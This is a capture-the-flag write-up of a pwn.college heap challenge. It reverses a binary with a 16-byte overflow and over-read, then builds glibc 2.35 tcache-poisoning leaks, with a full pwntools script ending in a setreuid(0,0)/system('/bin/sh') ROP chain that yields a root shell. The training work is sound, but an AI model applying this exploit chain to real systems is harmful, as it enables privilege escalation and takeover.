← Writeups

Heap Exploitation — Tcache Poison to RCE

Overview

A pwn.college challenge on dynamic allocator misuse — specifically tcache poisoning under glibc 2.35's safe-linking mitigation. This is the hard variant: no helper leaks printed in the output, every address has to be derived from scratch.

Coming in from the previous challenge in the series, I assumed the binary was structurally identical — same primitives, same interface. That was correct. What changed is the objective: no win function, no chunk that reads the flag. The server expects a privileged shell, which means leaking everything and writing a payload to the stack.

Environment Setup

The binary is dynamically linked against the server's libc — a different version than whatever is installed locally. This matters because every hardcoded offset in the exploit (arena pointer distance to libc base, libc.environ offset, gadget addresses) is specific to that exact libc build. Running against the wrong one means the offsets are wrong, the leaks are misinterpreted, and the exploit fails silently on the remote even if it appears to work locally.

The fix is to pull the binary, libc, and loader locally, then patch the binary to use them instead of the server paths.

# Pull the binary, libc, and loader
scp hacker@dojo.pwn.college:/challenge/<binary> .
scp hacker@dojo.pwn.college:/challenge/lib/libc.so.6 .
scp hacker@dojo.pwn.college:/challenge/lib/ld-linux-x86-64.so.2 .
# set interpreter + rpath ($ORIGIN = same dir as binary)
patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath '$ORIGIN' <binary>

# check hardcoded library path
patchelf --print-needed <binary>

# replace it with just the filename (resolved via $ORIGIN)
patchelf --replace-needed /challenge/lib/libc.so.6 libc.so.6 <binary>

# verify
patchelf --print-needed <binary>

After this, running the binary locally loads the server's exact libc. Every offset derived in GDB — arena distance to libc base, libc.environ, gadget addresses — is valid on the remote. Confirm the version before doing anything else:

strings libc.so.6 | grep "GNU"
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.4) stable release version 2.35.
Compiled by GNU CC version 11.4.0.

Recon

Checksec

pwndbg checksec output — all protections enabled

Everything is green — all protections are active. Full RELRO rules out a GOT overwrite. Stack canary rules out a direct stack smash. NX rules out shellcode. PIE randomizes all binary addresses at load time. SHSTK and IBT are Intel CET shadow-stack mitigations — relevant to note, but they don't interfere with a heap-based attack that targets the stack. Not stripped means symbols are intact, which helps when computing libc offsets.

Reverse Engineering

Understanding the Binary

The binary is a custom heap allocator harness — a controlled sandbox where you interact with glibc's allocator through a text-based command interface over stdin. There are no helper functions; everything lives inside a single main.

The full decompiled main — renamed variables and Ghidra comments intact:

undefined8 main(undefined8 param_1, undefined8 *param_2)
{
  int iVar1;
  uint uVar2;         // index
  uint uVar3;         // size
  void *pvVar4;       // chunk pointer
  long lVar5;
  undefined8 *puVar6;
  ulong *puVar7;
  long in_FS_OFFSET;
  byte bVar8;
  FILE *write_fp;
  undefined8 chunks[16];       // pointers to allocated heap regions
  ulong chunk_sizes[16];       // stored sizes — not what you'd expect
  char cmd_buf[136];
  long canary;

  bVar8 = 0;
  canary = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin, (char *)0x0, 2, 0);
  setvbuf(stdout, (char *)0x0, 2, 0);
  puts("###");
  printf("### Welcome to %s!\n", *param_2);
  puts("###");
  putchar(10);
  // zero-initialise both arrays
  puVar6 = chunks;
  for (lVar5 = 0x10; lVar5 != 0; lVar5 = lVar5 + -1) {
    *puVar6 = 0;
    puVar6 = puVar6 + (ulong)bVar8 * -2 + 1;
  }
  write_fp = (FILE *)0x0;
  puVar7 = chunk_sizes;
  for (lVar5 = 0x10; lVar5 != 0; lVar5 = lVar5 + -1) {
    *puVar7 = 0;
    puVar7 = puVar7 + (ulong)bVar8 * -2 + 1;
  }
  while (true) {
    while (true) {
      while (true) {
        while (true) {
          puts("");
          printf("[*] Function (malloc/free/safe_write/safe_read/quit): ");
          __isoc99_scanf("%127s", cmd_buf);
          puts("");
          iVar1 = strcmp(cmd_buf, "malloc");
          if (iVar1 != 0) break;
          printf("Index: "); __isoc99_scanf("%127s", cmd_buf); puts("");
          uVar2 = atoi(cmd_buf);
          if (0xf < uVar2)
            __assert_fail("allocation_index < 16", "/mnt/pwnshop/source.c", 0x40, "main");
          printf("Size: "); __isoc99_scanf("%127s", cmd_buf); puts("");
          uVar3 = atoi(cmd_buf);
          pvVar4 = malloc((ulong)uVar3);
          chunks[uVar2] = pvVar4;
          /* OVERFLOW PRIMITIVE: stored size is malloc_size + 0x10, not malloc_size */
          /* chunk_sizes[idx] = malloc_size + 0x10 — this is what safe_read/safe_write will use */
          chunk_sizes[uVar2] = (ulong)(uVar3 + 0x10);
        }
        iVar1 = strcmp(cmd_buf, "free");
        if (iVar1 != 0) break;
        printf("Index: "); __isoc99_scanf("%127s", cmd_buf); puts("");
        uVar2 = atoi(cmd_buf);
        if (0xf < uVar2)
          __assert_fail("allocation_index < 16", "/mnt/pwnshop/source.c", 0x53, "main");
        free((void *)chunks[uVar2]);
        chunks[uVar2] = 0;
      }
      iVar1 = strcmp(cmd_buf, "safe_read");
      if (iVar1 != 0) break;
      printf("Index: "); __isoc99_scanf("%127s", cmd_buf); puts("");
      uVar2 = atoi(cmd_buf);
      if (0xf < uVar2)
        __assert_fail("allocation_index < 16", "/mnt/pwnshop/source.c", 0x60, "main");
      /* safe_read: reads chunk_sizes[idx] bytes into chunk — 0x10 bytes past the allocation boundary (overflow) */
      read(0, (void *)chunks[uVar2], chunk_sizes[uVar2]);
      puts("");
    }
    iVar1 = strcmp(cmd_buf, "safe_write");
    if (iVar1 != 0) break;
    if (write_fp == (FILE *)0x0)
      write_fp = fdopen(1, "w");
    printf("Index: "); __isoc99_scanf("%127s", cmd_buf); puts("");
    uVar2 = atoi(cmd_buf);
    if (0xf < uVar2)
      __assert_fail("allocation_index < 16", "/mnt/pwnshop/source.c", 0x72, "main");
    /* safe_write: leaks chunk_sizes[idx] bytes from chunk — 0x10 bytes past the allocation boundary (over-read) */
    fwrite((void *)chunks[uVar2], 1, chunk_sizes[uVar2], write_fp);
    /* trailing byte: \x20\n in hard variant */
    fwrite(&DAT_001020c3, 1, 1, write_fp);
    fflush(write_fp);
  }
  iVar1 = strcmp(cmd_buf, "quit");
  if (iVar1 != 0)
    puts("Unrecognized choice!");
  puts("### Goodbye!");
  if (canary == *(long *)(in_FS_OFFSET + 0x28))
    return 0;
  __stack_chk_fail();
}

Two stack-allocated arrays of 16 slots each hold all state. Every operation is bounds-checked against index 15 via __assert_fail. There is no win function, no flag read — the only exit is quit returning from main. The objective is a shell.

Command Handlers

The main loop reads a command string via scanf and dispatches through a chain of strcmp comparisons. Five commands are supported:

malloc <idx> <size> — calls malloc(size), stores the pointer in chunks[idx], and stores the size in chunk_sizes[idx]. Straightforward.

pvVar4 = malloc((ulong)uVar3);
chunks[uVar2] = pvVar4;
/* OVERFLOW PRIMITIVE: stored size is malloc_size + 0x10, not malloc_size */
/* chunk_sizes[idx] = malloc_size + 0x10 — this is what safe_read/safe_write will use */
chunk_sizes[uVar2] = (ulong)(uVar3 + 0x10);

free <idx> — calls free(chunks[idx]) and zeroes the pointer slot. No UAF here — the pointer is cleared after free.

free((void *)chunks[uVar2]);
chunks[uVar2] = 0;    // pointer cleared — no UAF

safe_read <idx> — reads from stdin directly into chunks[idx] using read(0, chunks[idx], chunk_sizes[idx]). The size used is whatever is stored in chunk_sizes[idx].

/* safe_read: reads chunk_sizes[idx] bytes into chunk — 0x10 bytes past the allocation boundary (overflow) */
read(0, (void *)chunks[uVar2], chunk_sizes[uVar2]);

safe_write <idx> — writes chunk_sizes[idx] bytes from chunks[idx] to stdout via fwrite, then writes one trailing byte (\x20\n), then flushes.

/* safe_write: leaks chunk_sizes[idx] bytes from chunk — 0x10 bytes past the allocation boundary (over-read) */
fwrite((void *)chunks[uVar2], 1, chunk_sizes[uVar2], write_fp);
/* trailing byte: \x20\n in hard variant */
fwrite(&DAT_001020c3, 1, 1, write_fp);
fflush(write_fp);

quit — exits the loop and returns from main. This is the trigger for any payload written to the return address.

iVar1 = strcmp(cmd_buf, "quit");
if (iVar1 != 0)
    puts("Unrecognized choice!");
puts("### Goodbye!");
return 0;    // main returns — any payload on the stack executes here

Spotting the Primitive

Going back to the malloc handler — this line stands out:

chunk_sizes[idx] = (ulong)(size + 0x10);

The stored size is not the allocation size. It is the allocation size plus 16 bytes. That extra 0x10 is exactly the size of a glibc chunk header (prev_size + chunk_size fields). Since safe_read and safe_write use chunk_sizes[idx] as their byte count, every read and every write silently crosses the chunk boundary by 0x10 bytes into the next contiguous chunk's metadata.

On a 24-byte allocation, those 0x10 bytes reach the next chunk's prev_size, chunk_size, and — critically — its fd pointer. Controlling fd on a freed tcache chunk is the tcache poison primitive.

pvVar4 = malloc((ulong)uVar3);
chunks[uVar2] = pvVar4;
/* OVERFLOW PRIMITIVE: stored size is malloc_size + 0x10, not malloc_size */
chunk_sizes[uVar2] = (ulong)(uVar3 + 0x10);  // <-- the bug

// ...later, in safe_read:
read(0, (void *)chunks[uVar2], chunk_sizes[uVar2]);  // reads size+0x10 bytes

// ...later, in safe_write:
fwrite((void *)chunks[uVar2], 1, chunk_sizes[uVar2], write_fp);  // leaks size+0x10 bytes

Confirming with pwndbg

Before building the exploit, I confirmed the primitive dynamically. Allocating two adjacent 24-byte chunks, then calling safe_write on chunk 0, the output is 40 bytes — 24 bytes of chunk 0 data followed by 16 bytes that belong to chunk 1's header. The over-read crosses the boundary exactly as expected.

Conversely, writing 40 bytes via safe_read into chunk 0 lets me overwrite chunk 1's prev_size, chunk_size, and fd — memory I have no business touching based on the allocation.

assets/img/writeups/heap-tcache-poison-rce/pwndbg-overflow-proof.png — pwndbg showing two adjacent chunks in memory (x/8gx or vis), then after safe_read on chunk 0 the output visibly overwrites chunk 1's header fields

Exploit Plan

With no direct target and full mitigations enabled, the path to a shell requires building four leaks in sequence — each one unlocking the next — then writing a privilege-escalating payload to the stack:

  1. Heap leak — from the mangled tcache fd of a freed chunk
  2. Libc leak — from the unsorted bin fd of a large freed chunk
  3. Stack leak — via tcache poison to libc.environ
  4. ELF base leak — from the saved return address on main's stack frame
  5. Shell — setreuid(0, 0) + system("/bin/sh") written to the stack

The obvious first thought for a tcache poison target is __malloc_hook or __free_hook — one-shot arbitrary execution. Both were removed in glibc 2.34. With those gone, the cleanest path is pivoting through the stack: leak a stack address via libc.environ, then poison tcache a second time to write directly to main's return address.

Phase 1 — Heap Leak

Glibc 2.32 introduced safe-linking: when a chunk is freed into the tcache, its fd pointer is stored as fd = (chunk_addr >> 12) ^ next_ptr. For the first freed chunk in an empty bin, next_ptr is NULL, so fd is just chunk_addr >> 12 — a recoverable heap address. Reading it back after a malloc/free/malloc cycle leaks the heap base.

# Chunks 0 and 1 are allocated early — they'll be used as the overflow source later
io.sendline(b"malloc 0 24")
io.sendline(b"malloc 1 24")

# malloc 2, free it (fd gets set to heap_addr >> 12), reallocate (fd remains in data)
io.sendline(b"malloc 2 24")
io.sendline(b"free 2")
io.sendline(b"malloc 2 24")
io.sendline(b"safe_write 2")

leak = io.recv(8)
heap_base = u64(leak) << 12    # undo the right-shift

With the heap base known, we can compute the safe-linking key used in future tcache poison steps: key = heap_base >> 12.

Phase 2 — Libc Leak

Chunks larger than 0x400 bytes bypass the tcache entirely and go to the unsorted bin when freed. The unsorted bin's fd points directly into main_arena inside libc — a real libc address, readable with the same safe_write trick.

One detail that matters: before freeing the large chunk, allocate a small guard chunk between it and the top chunk. Without it, glibc coalesces the freed large chunk back into the top chunk instead of putting it in the unsorted bin, and there's nothing to read.

io.sendline(b"malloc 10 1048")   # large chunk — goes to unsorted bin on free
io.sendline(b"malloc 3 24")       # guard chunk — blocks coalescing with top chunk
io.sendline(b"free 10")
io.sendline(b"malloc 10 1048")    # reallocate — unsorted bin fd is now in the data region
io.sendline(b"safe_write 10")

leak = io.recv(8)
libc.address = u64(leak) - 0x219ce0    # known offset from arena pointer to libc base

The 0x219ce0 offset isn't assumed — it's read directly from pwndbg. Pause the binary after the leak and run xinfo on the raw leaked value. Pwndbg will show which memory mapping the address falls in and its exact offset from the start of that mapping. If the fd leaked from the unsorted bin lands inside the libc mapping, that offset is the distance from libc base to main_arena's internal fd — which is precisely what we subtract.

Split view: exploit output on the left showing the raw leaked bytes and computed libc base; pwndbg xinfo on the right confirming the leaked address belongs to libc.so.6 at offset 0x219ce0

The left pane shows the exploit receiving the raw leak and computing libc.address. The right pane confirms it with xinfo: pwndbg resolves the address to the libc.so.6 mapping and shows File (Base) offset = 0x219ce0 — exactly the value subtracted to get libc base.

With the base known, pwntools resolves libc.environ for free — because the libc we copied is not stripped, its symbol table is intact and pwntools reads the offset directly from it:

environ_addr = libc.sym['environ']  # pwntools reads the offset from libc's symbol table

No hardcoded offsets needed — pwntools adds the symbol's offset to libc.address and gives back the concrete runtime address of environ, which is the next poison target.

Phase 3 — Stack Leak via Tcache Poison

libc.environ holds a pointer into the process's environment block, which lives on the stack in a fixed relationship to main's return address. If we can allocate a chunk there and read it, we get a stack address and can compute the return address offset from it via backtrace inspection in GDB.

To forge an allocation at an arbitrary address, we overwrite the fd pointer of a freed tcache chunk with the mangled target: mangled = target ^ (heap_base >> 12). The next two allocations of the same size return first the poisoned chunk, then the forged address.

# Free chunks 2 and 1 — order matters: 1 must be freed last so it's at the tcache head
io.sendline(b"free 2")
io.sendline(b"free 1")

key = heap_base >> 12
mangled = libc.sym.environ ^ key

# Overflow from chunk 0 into chunk 1's fd pointer
payload = flat(
    p64(0x22) * 3,    # fill chunk 0 data (24 bytes) + overflow chunk 1's prev_size
    p64(0x21),        # keep chunk 1's size field valid
    p64(mangled),     # overwrite chunk 1's fd -> libc.environ
)
io.sendline(b"safe_read 0")
io.send(payload)

io.sendline(b"malloc 1 24")    # pops chunk 1 from tcache head
io.sendline(b"malloc 2 24")    # tcache now serves the forged pointer: libc.environ
io.sendline(b"safe_write 2")

stack_address = u64(io.recv(8))
ret_address = stack_address - 0x120

The -0x120 offset is not guessed — it is read directly from the running process. The method: pause the binary in pwndbg right after the libc leak, then use backtrace to see the live call stack and identify the address where main's return address is stored. Then use telescope or raw stack inspection around the value read from libc.environ to compute the distance between the two.

Step 1 — backtrace reveals the exact stack address holding main's return address:

pwndbg backtrace showing the live call stack and the stack address holding main's return address

Step 2 — raw stack inspection around the libc.environ value. telescope at the leaked stack address shows the surrounding qwords — scrolling down makes the return address visible and the offset calculable:

pwndbg telescope at the stack address from libc.environ showing surrounding qwords; the return address is 0x120 bytes below

With stack_address - ret_address_location = 0x120 confirmed, writing directly to ret_address turned out to be misaligned — the chunk data would start mid-payload. Targeting rbp instead (8 bytes before ret) aligns the write perfectly: p64(0x0) lands on saved rbp, and the chain starts exactly at the return address.

rbp_address = ret_address - 0x8

Verifying the poison in pwndbg

Before running the full exploit, I confirmed the primitive works as expected by pausing in GDB just before and after the tcache overwrite.

Heap layout before the overflow — vis shows chunk 0 and chunk 1 side by side, both intact, chunk 1's fd pointing normally into the tcache bin:

assets/img/writeups/heap-tcache-poison-rce/vis-before-overflow.png — pwndbg vis, chunk 0 and chunk 1 intact, chunk 1 fd pointing normally into tcache bin

After writing the payload via safe_read 0 — vis again. Chunk 0's data is filled, and chunk 1's fd now holds the mangled pointer to libc.environ. This is the write we should not be able to do based on the allocation size alone:

assets/img/writeups/heap-tcache-poison-rce/vis-after-overflow.png — pwndbg vis, chunk 1 fd overwritten with mangled libc.environ pointer

Tcache bin before and after — tcache shows where the next allocation of this size class will land. Before the overflow it points to a valid heap address; after it points into libc:

assets/img/writeups/heap-tcache-poison-rce/tcache-before-overflow.png — pwndbg tcache, fd is a normal heap address

assets/img/writeups/heap-tcache-poison-rce/tcache-after-overflow.png — pwndbg tcache, fd now points to libc.environ (demangled)

Confirming libc.environ holds a stack address — the exploit logs the address computed via libc.sym['environ']; p &environ in pwndbg returns the same value, and telescope at that address shows the stack pointer stored inside it — the value we are about to leak:

assets/img/writeups/heap-tcache-poison-rce/vmmap-stack.png — pwndbg vmmap with the stack segment highlighted

Split view: exploit stdout logging the computed environ address on the left; pwndbg telescope and p &environ on the right confirming the same address and the stack value it points to

Phase 4 — ELF Base Leak

This phase applies the same tcache poison technique as Phase 3 — vis and tcache in pwndbg confirm the same overwrite pattern, now targeting rbp_address on the stack instead of libc.environ. Before writing the final payload, I poisoned the tcache a second time to allocate at rbp_address and read the stack frame contents. At rbp + 0x18 sits the saved return address back into main — a binary address that, minus a static offset found by disassembly, gives the ELF base and validates that PIE randomization is correctly accounted for.

# Fresh set of chunks at size 72 for the second poison
io.sendline(b"malloc 0 72")
io.sendline(b"malloc 1 72")
io.sendline(b"malloc 2 72")
io.sendline(b"free 2")
io.sendline(b"free 1")

mangled = rbp_address ^ key

payload = flat(
    p64(0x22) * 9,    # fill chunk 0 (72 bytes)
    p64(0x51),        # keep chunk 1's size field valid (0x50 + prev_inuse)
    p64(mangled),     # overwrite chunk 1's fd -> rbp_address
)
io.sendline(b"safe_read 0")
io.send(payload)

io.sendline(b"malloc 1 72")
io.sendline(b"malloc 2 72")    # lands at rbp_address

io.sendline(b"safe_write 2")
io.recv(8 * 3)    # skip: saved rbp, saved rsp, __libc_start_call_main return stub
leak = io.recv(8)
main_address = u64(leak)
elf.address = main_address - 0x1957

telescope rbp_address in pwndbg makes this obvious — it prints each qword in the frame with resolved symbols next to it. The first entries show stack and libc addresses; the one that resolves into the binary (shown as <binary+offset>) is the return address into main. Reading that offset directly gives the 0x1957 delta to subtract from the leaked value to get the ELF base.

assets/img/writeups/heap-tcache-poison-rce/telescope-rbp-frame.png — pwndbg telescope at rbp_address showing the stack frame qwords with resolved symbols; the binary return address entry is clearly distinguishable from the libc and stack entries

Worth noting: all gadgets for the final payload come from libc, not the binary, so the ELF base itself isn't strictly needed to execute the shell. It's useful for offset validation and as a sanity check that the whole chain is consistent before committing the final write.

Phase 5 — Privilege Escalation

The binary runs as a privileged user on the server. Calling system("/bin/sh") alone spawns a shell under the original UID — not root. The fix is prepending a setreuid(0, 0) call to set both real and effective UIDs to 0 before executing the shell.

Pwntools' ROP(libc) searches the loaded libc for gadgets automatically — not just the binary. Since the binary is largely devoid of useful gadgets, pointing pwntools at the libc object (already rebased after the leak) gives direct access to pop rdi, pop rsi, and everything else needed.

rop = ROP(libc)

rop.raw(rop.rdi)
rop.raw(0)                              # ruid = 0
rop.raw(rop.rsi)
rop.raw(0)                              # euid = 0
rop.raw(libc.sym.setreuid)
rop.raw(rop.rdi)
rop.raw(next(libc.search(b'/bin/sh')))
rop.raw(libc.sym.system)

# chunk 2 is already at rbp_address — write null rbp + chain
io.sendline(b"safe_read 2")
io.send(p64(0x0) + rop.chain())

# trigger: main() returns, walks the chain
io.sendline(b"quit")

Before triggering — telescope rbp_address shows the payload written to the stack. The first qword is the null saved rbp, followed by the gadgets in order: pop rdi → 0 → pop rsi → 0 → setreuid → pop rdi → /bin/sh → system:

assets/img/writeups/heap-tcache-poison-rce/telescope-rop-chain.png — pwndbg telescope at rbp_address showing the written gadgets in order on the stack

After quit triggers the return — backtrace shows the execution walking the chain, confirming each gadget fires in the right order before landing in system:

assets/img/writeups/heap-tcache-poison-rce/backtrace-chain.png — pwndbg backtrace mid-chain execution showing the gadget sequence executing

[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

Full Script

#!/usr/bin/env python3
from pwn import *

# --- ARCH ---
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

if args.GDB:
    context.gdb_binary = 'gdb-pwndbg'

exe = './tcache-terror-hard'
elf = context.binary = ELF(exe, checksec=False)

# patched to load ./ld-linux-x86-64.so.2 and ./libc.so.6 ($ORIGIN rpath)
libc = ELF('./libc.so.6', checksec=False)

context.log_level = 'debug'

gdbscript = '''
b main
c
'''

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.DOJO:
        return process(['/challenge/run'] + argv, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

io = start()

PROMPT = b"[*] Function (malloc/free/safe_write/safe_read/quit): "

def cmd(line):
    io.recvuntil(PROMPT)
    io.sendline(line)

# for future use in tcache poison
cmd(b"malloc 0 24")
cmd(b"malloc 1 24")

# leak heap
cmd(b"malloc 2 24")
cmd(b"free 2")
cmd(b"malloc 2 24")
cmd(b"safe_write 2")
io.recvuntil(b"\x20\x0a")
leak = io.recv(8)
heap_base = u64(leak) << 12
log.info(f"raw leak: {leak}")
log.success(f"heap_base: {hex(heap_base)}")

# leak libc
cmd(b"malloc 10 1048")
cmd(b"malloc 3 24")  # guard
cmd(b"free 10")
cmd(b"malloc 10 1048")
cmd(b"safe_write 10")
io.recvuntil(b"\x20\x0a")
leak = io.recv(8)
libc.address = u64(leak) - 0x219ce0
log.info(f"raw leak: {leak}")
log.success(f"libc address: {hex(libc.address)}")
log.success(f"libc.environ: {hex(libc.sym.environ)}")

# massage the heap
cmd(b"free 2")
cmd(b"free 1")

# leak stack via tcache poison to libc.environ
key = heap_base >> 12  # same as chunk_1 >> 12 | because is in early heap
mangled = libc.sym.environ ^ key
log.info(f"mangled: {hex(mangled)}")
payload = flat(
    p64(0x22) * 3,   # chunk_0
    p64(0x21),        # chunk_1 size
    p64(mangled),     # chunk_1 fd -> libc.environ
)
cmd(b"safe_read 0")
io.send(payload)
cmd(b"malloc 1 24")
cmd(b"malloc 2 24")  # points to libc.environ
cmd(b"safe_write 2")
io.recvuntil(b"\x20\x0a")
leak = io.recv(8)
stack_address = u64(leak)
log.info(f"raw leak: {leak}")
log.success(f"stack_address: {hex(stack_address)}")
ret_address = stack_address - 0x120
# not aligned — target rbp instead
rbp_address = ret_address - 0x8
log.success(f"ret_address: {hex(ret_address)}")
log.success(f"rbp_address: {hex(rbp_address)}")

# massage the heap
cmd(b"malloc 0 72")
cmd(b"malloc 1 72")
cmd(b"malloc 2 72")
cmd(b"free 2")
cmd(b"free 1")

# tcache poison to rbp_address
mangled = rbp_address ^ key
log.info(f"mangled: {hex(mangled)}")
payload = flat(
    p64(0x22) * 9,   # chunk_0
    p64(0x51),        # chunk_1 size
    p64(mangled),     # chunk_1 fd -> rbp_address
)
cmd(b"safe_read 0")
io.send(payload)
cmd(b"malloc 1 72")
cmd(b"malloc 2 72")  # points to rbp_address

# leak elf base via saved return address on main's stack frame
cmd(b"safe_write 2")
io.recvuntil(b"\x20\x0a")
io.recv(8 * 3)  # skip to the main return address
leak = io.recv(8)
main_address = u64(leak)
log.info(f"raw leak: {leak}")
log.success(f"main_address: {hex(main_address)}")
elf.address = main_address - 0x1957
log.success(f"elf.address: {hex(elf.address)}")
log.success(f"libc system: {hex(libc.sym.system)}")

# setreuid(0,0) + system("/bin/sh") via libc gadgets
sys_addr = libc.sym.system
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.sym.setreuid

rop = ROP(libc)
rop.raw(rop.rdi)
rop.raw(0)                  # ruid = 0
rop.raw(rop.rsi)
rop.raw(0)                  # euid = 0
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)

cmd(b"safe_read 2")
io.send(p64(0x0) + rop.chain())   # p64(0x0) lands on saved rbp

# trigger: main() returns, walks the chain
cmd(b"quit")

io.interactive()